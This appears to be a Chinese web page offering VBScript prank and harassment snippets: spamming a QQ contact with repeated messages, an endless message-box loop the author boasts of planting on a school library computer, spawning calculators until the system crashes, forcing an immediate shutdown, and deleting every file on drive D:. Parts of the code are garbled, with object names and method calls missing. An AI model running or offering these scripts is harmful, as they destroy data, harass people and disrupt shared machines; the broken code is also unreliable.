文档介绍：一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 
=> 
复制代码 代码如下:
On Error Resume Next 
Dim wsh,ye 
set wsh=createobject("") 
for i=1 to 10 
700 
("与 xx 聊天中") 
"^v" 
i 
"%s" 
next 
 
QQ骚扰信息,也可以用在其它程序上。 
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 
------------------------------------------------------------------------------ 
do 
msgbox "You are foolish!" 
loop 
------------------------------------------------------------------------------ 
三、打开无数个计算器,直到死机 
------------------------------------------------------------------------------ 
set wsh=createobject("") 
do 
"calc" 
loop 
----------------------------------------------------------------------------- 
四、直接关机 
----------------------------------------------------------------------------- 
dim WSHshell 
set WSHshell = ("") 
"shutdown -f -s -t 00",0 ,true 
----------------------------------------------------------------------------- 
五、删除D:\所有文件 
--------------------------------------------------------------------------- 
dim WSHshell 
set WSHshell = ("") 
"cmd /c ""del d:\*.* / f /q /s""",0 ,true 
-------------------------------------------------------------